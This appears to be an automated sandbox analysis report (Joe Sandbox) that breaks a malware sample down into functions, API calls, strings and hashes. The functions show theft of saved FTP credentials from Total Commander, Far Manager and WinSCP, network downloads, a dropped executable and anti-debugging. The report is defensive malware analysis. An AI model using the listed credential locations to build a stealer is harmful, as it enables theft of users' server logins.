String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Non-executed Functions

Function 004039EA Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 163
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

default, xrefs: 00403A8B
username, xrefs: 00403AA9
connections, xrefs: 00403A79
password, xrefs: 00403AB8
SOFTWARE\Ghisler\Total Commander, xrefs: 004039F3
ftp://%s:%s@%s, xrefs: 00403B50
host, xrefs: 00403A9A

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: PrivateProfileString$AllocHeap
String ID: SOFTWARE\Ghisler\Total Commander$connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 2479592106-2015850556
Opcode ID: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
Opcode Fuzzy Hash: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?,00420840,?,00000000), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75A90B80,0000000A,00000008,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403309
VirtualProtect.KERNEL32(75A90B88,0000000A,?,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 0040333A
LoadLibraryW.KERNEL32(atl,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

AtlAxAttachControl, xrefs: 0040335F
AtlAxWinInit, xrefs: 00403357
AtlAxGetControl, xrefs: 0040336C
atl, xrefs: 00403340

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
HeapAlloc.KERNEL32(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,-000001FE,000000FF,?), ref: 00403681

Strings

pass, xrefs: 00403611
port, xrefs: 004035F1
user, xrefs: 00403601
ftp://%s:%s@%s:%u, xrefs: 004036C3

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: PrivateProfile$String$AllocHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3432043379-2696999094
Opcode ID: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

., xrefs: 004082B7
.8@, xrefs: 0040833F
.8@, xrefs: 00408379
., xrefs: 004082CE

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: .$.$.8@$.8@
API String ID: 2348139788-2639049386
Opcode ID: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,771B0F00), ref: 00407043
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(00000000), ref: 0040708F
InternetOpenUrlW.WININET(00000000,00000001,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(00000000), ref: 004070BB

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(00000000), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 0040CD66 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040D0C4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040D0D9
UnhandledExceptionFilter.KERNEL32(0040E248), ref: 0040D0E4
GetCurrentProcess.KERNEL32(C0000409), ref: 0040D100
TerminateProcess.KERNEL32(00000000), ref: 0040D107

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction ID: 078c109d1665b9b830d76e00ceeb27c9797f204ae48b5850d213398ac2e03a3c
Opcode Fuzzy Hash: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction Fuzzy Hash: 7F21CEB8801244DFD700DF59F945A857BF4BB08385F0086BAE708E76B0E7B458808F0D

Function 0040A057 Relevance: 4.5, APIs: 3, Instructions: 40comCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00427ED0,00427ED0,?,?,?,0040A17D,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A065
CoCreateInstance.OLE32(0040E218,00000000,00000015,0040E238,00000001,?,?,?,0040A17D,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A07E
SetForegroundWindow.USER32(00000000), ref: 0040A088

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: ForegroundWindow$CreateInstance
String ID:
API String ID: 2498160819-0
Opcode ID: 82b24d427a4319f76012a439117db5c4ff365e6f2f98325e2b41cf4565e173f1
Instruction ID: 3fc8f4a2167e7ffe653cafe2f971d35c6ed40139ecea7ac55ee7c5b8babae7fd
Opcode Fuzzy Hash: 82b24d427a4319f76012a439117db5c4ff365e6f2f98325e2b41cf4565e173f1
Instruction Fuzzy Hash: E8F03C71640208FFD7049FA6CD8DC5ABBFCEF9970172009AAF101EB290D6755950DA25

Function 00406CB5 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00406CCF

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 55562b46774a615dc2e97dfe1c8d2773bede11335cf8e3c3be8baa064d73f36a
Instruction ID: 5612040357c07126fa19026aaffe8c4f09115318cb9d2fe7a616e1c4ae3a2977
Opcode Fuzzy Hash: 55562b46774a615dc2e97dfe1c8d2773bede11335cf8e3c3be8baa064d73f36a
Instruction Fuzzy Hash: C9E04FB2D4011D5BDB1C9B60EE47BD9BBF8EB11304F0140E6D746E5180E6B8DB848F95

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
threadnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

$, xrefs: 00403CF9
*total*commander*, xrefs: 00403CC9
ftpininame, xrefs: 00403C41
*ghisler*, xrefs: 00403CD8
*totalcmd*, xrefs: 00403CB7
installdir, xrefs: 00403DA1
SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
&, xrefs: 00403D07
#, xrefs: 00403D0E

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Heap$AllocEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 2046068145-3914982127
Opcode ID: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

none, xrefs: 00402F16
From: , xrefs: 004030C8
Via: , xrefs: 004030ED
^client=, xrefs: 0040301A
.html, xrefs: 00402FFE, 004031EE
file, xrefs: 0040300F
^key=, xrefs: 0040305E

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 9ae992922a2ad1b825f1490aaeac56172bb5fbdf92c9f9a8e97600dc8421b205
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 9ae992922a2ad1b825f1490aaeac56172bb5fbdf92c9f9a8e97600dc8421b205
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A
username, xrefs: 00404266
hostname, xrefs: 00404258
password, xrefs: 00404282
user, xrefs: 00404274
SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219
ftp://%s:%s@%s, xrefs: 004043B7

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: HeapOpen$AllocCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 416369273-4007225339
Opcode ID: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C20,?,00000000,00000008), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A
username, xrefs: 004045A2
hostname, xrefs: 00404586
password, xrefs: 004045B0
portnumber, xrefs: 00404594
ftp://%s:%s@%s:%u, xrefs: 004046F3

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AllocCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3497950970-285550827
Opcode ID: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127memorynetworkfileCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

